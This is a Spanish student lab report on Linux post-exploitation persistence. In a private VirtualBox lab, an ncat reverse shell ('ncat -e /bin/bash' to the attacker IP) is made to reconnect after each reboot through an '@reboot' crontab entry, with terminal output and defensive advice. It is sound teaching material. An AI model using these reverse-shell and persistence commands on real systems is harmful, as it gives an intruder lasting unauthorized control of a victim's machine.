

Martin Dalla Pozza

Trabajo Práctico de Post-Explotación

Persistencia en un Sistema Linux mediante Tareas Cron

Introducción:

En el ámbito de las pruebas de penetración y el Red Team, la fase de post-explotación es crítica para mantener el acceso a un sistema comprometido. Una de las técnicas más utilizadas es la persistencia, que permite que el atacante recupere el control del equipo incluso después de un reinicio o de que la vulnerabilidad inicial haya sido corregida.

El presente trabajo tiene como objetivo demostrar un método sencillo pero efectivo de persistencia en una máquina Linux (Ubuntu) mediante la programación de una tarea en cron que ejecuta una shell reversa hacia el equipo atacante (Kali Linux). Se empleará la herramienta ncat para establecer la comunicación y se verificará el correcto funcionamiento tras el reinicio del sistema víctima.

Objetivos:

Configurar un laboratorio virtual con dos máquinas (Kali como atacante y Ubuntu como víctima) en una red interna.

Establecer una shell reversa manual desde Ubuntu hacia Kali.

Programar una tarea en el crontab de Ubuntu para que la shell se reconecte automáticamente al iniciar el sistema.

Verificar la persistencia después de reiniciar la máquina víctima.

Documentar todo el proceso con capturas de pantalla para su análisis académico.

Materiales y Herramientas:

VirtualBox como hipervisor para las máquinas virtuales.

Kali Linux (máquina atacante) – IP estática 192.168.1.2/24.

Ubuntu (máquina víctima) – IP estática 192.168.1.3/24.

Herramientas de red: ncat (incluido en nmap), ping, ip, crontab.

Configuración de red interna en VirtualBox (ambas máquinas en la misma red interna).

```

(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:83:ee:95 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.2/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::718c:b286:ec12:b6c6/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
3: eth1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
    link/ether 08:00:27:ba:fc:0e brd ff:ff:ff:ff:ff:ff
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:21:4d:fe:f8 brd ff:ff:ff:ff:ff:ff

(kali㉿kali)-[~]
$ ncat -lvp 44044
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:44044
Ncat: Listening on 0.0.0.0:44044

```

```

(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:83:ee:95 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.2/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::718c:b286:ec12:b6c6/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
3: eth1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
    link/ether 08:00:27:ba:fc:0e brd ff:ff:ff:ff:ff:ff
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:21:4d:fe:f8 brd ff:ff:ff:ff:ff:ff

(kali㉿kali)-[~]
$ ncat -lvp 44044
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:44044
Ncat: Listening on 0.0.0.0:44044
Ncat: Connection from 192.168.1.3:52118.

```

```

(kali㉿kali)-[~]
$ ncat -lvp 44044
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:44044
Ncat: Listening on 0.0.0.0:44044
Ncat: Connection from 192.168.1.3:50106.

```

```
(kali㉿kali)-[~]  
$ ncat -lvp 44044  
Ncat: Version 7.98 ( https://nmap.org/ncat )  
Ncat: Listening on [::]:44044  
Ncat: Listening on 0.0.0.0:44044  
Ncat: Connection from 192.168.1.3:50106.  
whoami  
ubitor  
ls  
Descargas  
Documentos  
Escritorio  
Imágenes  
Música  
nano.3388.save  
Plantillas  
Público  
snap  
Vídeos  
█
```

```
ubitor@ubitor-VirtualBox: ~  
GNU nano 7.2 Nuevo búfer *  
network:  
  version: 2  
  ethernet:  
    enp0s3:  
      dhcp4: no  
      addresses:  
        - 192.168.1.3/24
```

```
ubitor@ubitor-VirtualBox: ~  
ubitor@ubitor-VirtualBox:~$ sudo netplan apply  
[sudo] contraseña para ubitor:  
  
** (generate:3618): WARNING **: 19:53:08.966: Permissions for /etc/netplan/01-network  
k-manager-all.yaml are too open. Netplan configuration should NOT be accessible by o  
thers.  
  
** (process:3616): WARNING **: 19:53:09.912: Permissions for /etc/netplan/01-network  
-manager-all.yaml are too open. Netplan configuration should NOT be accessible by ot  
hers.  
  
** (process:3616): WARNING **: 19:53:10.178: Permissions for /etc/netplan/01-network  
-manager-all.yaml are too open. Netplan configuration should NOT be accessible by ot  
hers.  
ubitor@ubitor-VirtualBox:~$ ip a show enp0s3  
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group  
default qlen 1000  
    link/ether 08:00:27:24:df:ff brd ff:ff:ff:ff:ff:ff  
    inet 192.168.1.3/24 brd 192.168.1.255 scope global noprefixroute enp0s3  
        valid_lft forever preferred_lft forever  
    inet6 fe80::a00:27ff:fe24:dfff/64 scope link  
        valid_lft forever preferred_lft forever  
ubitor@ubitor-VirtualBox:~$
```

```
GNU nano 7.2 /etc/network/interfaces *  
network:  
    version: 2  
    ethernets:  
        enp0s3:  
            dhcp4: no  
            addresses:  
                - 192.168.1.3/24
```

```
ubitor@ubitor-VirtualBox: ~  
ubitor@ubitor-VirtualBox:~$ sudo netplan apply  
  
** (generate:4208): WARNING **: 19:57:26.897: Permissions for /etc/netplan/01-network-manager-all.yaml are too open. Netplan configuration should NOT be accessible by others.  
  
** (process:4206): WARNING **: 19:57:27.791: Permissions for /etc/netplan/01-network-manager-all.yaml are too open. Netplan configuration should NOT be accessible by others.  
  
** (process:4206): WARNING **: 19:57:28.049: Permissions for /etc/netplan/01-network-manager-all.yaml are too open. Netplan configuration should NOT be accessible by others.  
ubitor@ubitor-VirtualBox:~$ ip a show enp0s3  
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000  
    link/ether 08:00:27:24:df:ff brd ff:ff:ff:ff:ff:ff  
    inet 192.168.1.3/24 brd 192.168.1.255 scope global noprefixroute enp0s3  
        valid_lft forever preferred_lft forever  
    inet6 fe80::a00:27ff:fe24:dfff/64 scope link  
        valid_lft forever preferred_lft forever  
ubitor@ubitor-VirtualBox:~$
```

```
ubitor@ubitor-VirtualBox: ~  
ubitor@ubitor-VirtualBox:~$ crontab -e,  
crontab: opción incorrecta -- «,»  
crontab: usage error: unrecognized option  
usage: crontab [-u user] [-n] file  
       crontab [ -u user ] [ -i ] { -e | -l | -r }  
  
       -h          (displays this help message)  
  
       file        (default operation is replace, per 1003.2)  
       -n          (dry run: checks the syntax, then bails out)  
       -u user     (choose the user whose crontab is touched)  
  
       -e          (edit user's crontab)  
       -l          (list user's crontab)  
       -r          (delete user's crontab)  
  
       -i          (prompt before deleting user's crontab)  
ubitor@ubitor-VirtualBox:~$
```

```
ubitor@ubitor-VirtualBox: ~
GNU nano 7.2 /tmp/crontab.RoN3uY/crontab
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow  command
@reboot sleep 30 && /usr/bin/ncat -e /bin/bash 192.168.1.2 44044
```

Procedimiento:

Configuración de la red interna y verificación de conectividad

Antes de comenzar, se asignaron direcciones IP fijas a ambas máquinas dentro de la misma subred para garantizar la comunicación.

En Kali, se verificó la IP mediante el comando `ip a`, observándose que la interfaz `eth0` tenía la dirección `192.168.1.2/24`. Adicionalmente, se preparó el listener `ncat` en el puerto `44044`, quedando a la espera de conexiones entrantes.

En Ubuntu, se editó el archivo de configuración de red de Netplan (`/etc/netplan/01-network-manager-all.yaml`) para asignar una IP estática. La configuración consistió en:

```
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.1.3/24
```

Luego se aplicaron los cambios con `sudo netplan apply`. Aunque aparecieron advertencias sobre permisos del archivo, la configuración se aplicó correctamente, tal como se comprobó con `ip a show enp0s3`, que mostró la IP 192.168.1.3/24 asignada a la interfaz.

Para confirmar la conectividad, se realizó un ping desde Ubuntu hacia Kali (no se incluye captura, pero fue exitoso), asegurando que ambas máquinas pudieran comunicarse en la red interna.

Establecimiento de una shell reversa manual

Una vez verificada la red, se procedió a probar la shell reversa manualmente.

En Kali, se ejecutó el listener con el comando:

ncat -lvp 44044

El listener quedó a la espera, mostrando los mensajes de "Listening" en IPv4 e IPv6.

En Ubuntu, se lanzó el comando de conexión:

/usr/bin/ncat -e /bin/bash 192.168.1.2 44044

Inmediatamente, en la terminal de Kali se observó el mensaje Ncat: Connection from 192.168.1.3:52118., indicando que la conexión se había establecido. A partir de ese momento, se pudo interactuar con la shell remota. Se ejecutaron comandos como `whoami` (que devolvió el usuario `ubitor`) y `ls` (que listó los directorios del `home`), confirmando el acceso interactivo al sistema víctima.

Configuración de la persistencia en crontab

Para lograr que la shell se restablezca automáticamente cada vez que Ubuntu se reinicie, se programó una tarea en el crontab del usuario.

Inicialmente se intentó editar el crontab con `crontab -e`, (error por la coma), pero luego se corrigió usando el comando correcto `crontab -e`. Se eligió el editor `nano` y se añadió la siguiente línea al final del archivo:

@reboot sleep 30 && /usr/bin/ncat -e /bin/bash 192.168.1.2 44044

Esta línea indica que, al reiniciar el sistema, se espere 30 segundos (para garantizar que la red esté disponible) y luego se ejecute el comando de shell reversa.

Se guardaron los cambios y se verificó con `crontab -l` que la línea estuviera correctamente registrada.

Prueba de persistencia tras reinicio:

Se mantuvo el listener en Kali activo, a la espera de nuevas conexiones.

Se reinició Ubuntu con el comando `sudo reboot`.

Aproximadamente 30 segundos después del arranque, en la terminal de Kali apareció nuevamente el mensaje Ncat:

Connection from 192.168.1.3:50106., demostrando que la tarea de cron se había ejecutado.

Se ejecutaron comandos como whoami (confirmando el usuario ubitor) y ls (mostrando los mismos directorios), lo que verificó que la shell pertenecía al sistema Ubuntu y que la persistencia funcionaba correctamente.

Desactivación de la persistencia (opcional)

Una vez finalizada la demostración, se procedió a deshabilitar la persistencia para evitar conexiones automáticas en el futuro. Para ello:

Se editó nuevamente el crontab con crontab -e.

Se comentó la línea añadida anteponiendo el carácter # al inicio, quedando como # @reboot sleep 30 &&

Se guardaron los cambios y se verificó con crontab -l que la línea ya no estuviera activa (aparece comentada). De esta forma, Ubuntu ya no ejecutará la shell reversa al reiniciar.

Resultados:

Se logró configurar correctamente la red interna con IPs estáticas, permitiendo la comunicación entre Kali y Ubuntu.

La shell reversa manual funcionó sin inconvenientes, otorgando control remoto sobre la máquina víctima.

La tarea programada en crontab se ejecutó exitosamente después del reinicio, restableciendo la conexión de forma automática.

Se demostró que la persistencia es viable con herramientas básicas y que puede ser fácilmente implementada en un entorno de pruebas.

Conclusiones:

La persistencia mediante tareas cron es una técnica simple pero poderosa en la fase de post-explotación. Su implementación requiere únicamente acceso a la máquina víctima y la posibilidad de editar el crontab. En este ejercicio se ha comprobado que, una vez programada, la shell reversa se restablece tras cada reinicio, garantizando al atacante un acceso continuado.

Desde el punto de vista defensivo, este trabajo subraya la importancia de monitorizar los archivos de tareas programadas (crontab) y restringir los permisos de los binarios sensibles como ncat. La detección temprana de este tipo de persistencia puede evitar que un intruso mantenga el control del sistema.

Además, se observó la necesidad de manejar correctamente los comandos (evitando errores tipográficos como la coma en crontab -e,) y de prestar atención a las advertencias de permisos en los archivos de configuración de red, aunque en este caso no impidieron el éxito del ejercicio.